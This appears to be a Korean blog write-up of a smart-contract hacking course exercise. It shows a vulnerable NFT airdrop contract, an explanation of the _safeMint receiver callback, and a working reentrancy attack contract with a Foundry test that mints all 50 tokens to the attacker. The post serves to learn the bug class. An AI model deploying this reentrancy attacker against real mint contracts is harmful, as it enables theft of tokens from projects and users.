NFT를 독식해보자.
// SPDX-License-Identifier: GPL-3.0-or-later
// https://smartcontractshacking.com/#copyright-policy
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
/**
* @title ApesAirdrop
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract ApesAirdrop is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address public owner;
uint16 public maxSupply = 50;
// Any user in the whitelist can claim 1 NFT
mapping (address => bool) private claimed;
mapping (address => bool) private whitelist;
event AddedToWhitelist(address eligableAddress);
event Minted(address eligableAddress, uint tokenId);
event SpotGranted(address from, address to);
modifier onlyOwner {
require(msg.sender == owner, "not owner");
_;
}
constructor() ERC721("Crazy Apes", "APE") {
owner = msg.sender;
_tokenIds.increment(); // Start with 1
}
function mint() external returns (uint16) {
// Sender is in whitelist & not claimed
require(isWhitelisted(msg.sender), "not in whitelist");
require(!claimed[msg.sender], "already claimed");
// Check tokenId
uint16 tokenId = uint16(_tokenIds.current());
require(tokenId <= maxSupply, "Max supply reached!");
_tokenIds.increment();
// Mint NFT
_safeMint(msg.sender, tokenId);
emit Minted(msg.sender, tokenId);
// Update claimed
claimed[msg.sender] = true;
// Return token ID
return tokenId;
}
function addToWhitelist(address[] memory toAdd) external onlyOwner {
for(uint i=0; i < toAdd.length; i++) {
require(toAdd[i] != address(0), "wrong address");
whitelist[toAdd[i]] = true;
emit AddedToWhitelist(toAdd[i]);
}
}
function isWhitelisted(address addr) public view returns (bool) {
return whitelist[addr];
}
function grantMyWhitelist(address to) external {
require(to != address(0), "wrong address");
// Sender is in whitelist & not claimed
require(isWhitelisted(msg.sender), "sender not in whitelist");
require(!claimed[msg.sender], "sender already claimed");
// Receiver is not in whitelist
require(!isWhitelisted(to), "receiver already in whitelist");
whitelist[msg.sender] = false;
whitelist[to] = true;
emit SpotGranted(msg.sender, to);
}
}
_safeMint()
의 _checkOnERC721Received
-> IERC721Receiver(to).onERC721Received()
콜백을 이용해서 ReEntrancy 공격을 하면 될 것 같다.
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
_checkOnERC721Received()
에 대해 설명하면, NFT를 받는 곳이 컨트랙트일 경우 해당 컨트랙트에 묶이는 일이 발생할 수 있기 때문에 이를 방지하고자 IERC721Receiver(to).onERC721Received()
함수가 구현된 안전한 컨트랙트에만 NFT를 보낼 수 있도록 도와주는 가드 역할을 하는 함수다.
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
}
NFT를 받는 곳이 컨트랙트인지 먼저 확인 후,
IERC721Receiver(to).onERC721Received()
함수를 호출한다.
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
만약 해당 함수가 구현되지 않았을 때, Cumstom Error가 없다면 revert를 시키고
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
Custom Error가 있을 경우, 해당 error를 리턴한다. 이 때 custom error의 길이를 담고있는 32 바이트 부분은 건너뛰고 바로 해당 error를 리턴하도록 되어있다.
내가 짠 공격 컨트랙트는 다음과 같다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IApesAirdrop {
function mint() external returns (uint16);
}
contract AttackAirdrop is IERC721Receiver{
IApesAirdrop apesAirdrop;
address payable attacker;
uint16 public tokenId = 1;
constructor(address _apesAirdrop) {
apesAirdrop = IApesAirdrop(_apesAirdrop);
attacker = payable(msg.sender);
}
function attack() public {
apesAirdrop.mint();
}
function onERC721Received(address sender, address from, uint256 _tokenId, bytes calldata data) external returns (bytes4 retval) {
if (tokenId < 50) {
tokenId++;
attack();
return ???;
} else {
return ???;
}
}
}
그런데 문제는 마지막 onERC721Received()
함수에서 리턴하는 selector 값을 뭘로 해야할지 모르겠다..
interface IApesAirdrop {
function mint() external returns (uint16);
function grantMyWhitelist(address to) external;
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract AttackAirdrop is IERC721Receiver {
IApesAirdrop apesAirdrop;
address payable attacker;
uint16 public maxSupply = 50;
uint16 public currSupply;
constructor(address _airdrop) payable {
apesAirdrop = IApesAirdrop(_airdrop);
attacker = payable(msg.sender);
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (currSupply < maxSupply) {
currSupply++;
apesAirdrop.mint();
return 0x150b7a02;
} else {
for (uint i = 1; i <= maxSupply; i++) {
apesAirdrop.transferFrom(address(this), attacker, i);
}
return 0x150b7a02;
}
}
function attack() public {
currSupply++;
apesAirdrop.mint();
}
}
차이점을 몇 가지 정리해보면
0x150b7a02
리턴0x150b7a02
는 어떻게 해서 나온걸까? 답은 onERC721Received()
함수를 해싱해서 나온 값이다.
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
onERC721Received()
함수를 호출할 때 IERC721Receiver.onERC721Received.selector
값을 리턴하는데 그 때의 값이 0x150b7a02
라고 보면 된다. selector를 가져올 때 해싱해서 가져오는 것.
컨트랙트의 방향은 맞았지만 빠진 부분이 있어서 조금 아쉽다. 또한 한 가지 더 아쉬운 점은 기존 ApesAirdrop
컨트랙트에서 Counters.Counter private _tokenIds;
에만 집중해서 private 값은 활용 못 하니까 supply 값을 가져오지 못 할 것이라고 생각했는데, uint16 public maxSupply
를 활용하면 충분히 가져올 수 있었다는 것이다.
추가적으로 NFT를 전송할 때 approve
먼저 한 다음에 transferFrom()
을 호출해야 하는 줄 알았는데, 내가 NFT를 소유하고 있으면 그냥 transferFrom()
만 호출해도 된다. approve
는 내가 다른 컨트랙트에 NFT 전송 권한을 넘길 때만 해주면 된다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/reentrancy-2/ApesAirdrop.sol";
import "../../src/reentrancy-2/AttackAirdrop.sol";
/**
@dev run "forge test --match-contract RV2"
*/
contract TestRE2 is Test {
address deployer;
address attacker;
ApesAirdrop apesAirDrop;
AttackAirdrop attackAirDrop;
address[] public whitelists;
function setUp() public {
deployer = address(1);
attacker = address(2);
vm.prank(deployer);
apesAirDrop = new ApesAirdrop();
vm.prank(attacker);
attackAirDrop = new AttackAirdrop(address(apesAirDrop));
vm.startPrank(deployer);
whitelists.push(address(attackAirDrop));
apesAirDrop.addToWhitelist(whitelists);
vm.stopPrank();
}
function test_attack() public {
vm.startPrank(attacker);
attackAirDrop.attack();
vm.stopPrank();
assertEq(apesAirDrop.balanceOf(attacker), 50);
}
}
성공!
모범답안에서는 WL 추가할 때 아래처럼 코드를 짰다. 나는 굳이 user를 만들 필요를 못 느껴서 user는 생략했었다. array를 미리 만들고 추가하는 방법만 눈에 익혀두면 될 것 같다.
address[] memory users = new address[](5);
users[0] = user1;
users[1] = user2;
users[2] = user3;
users[3] = user4;
users[4] = attacker;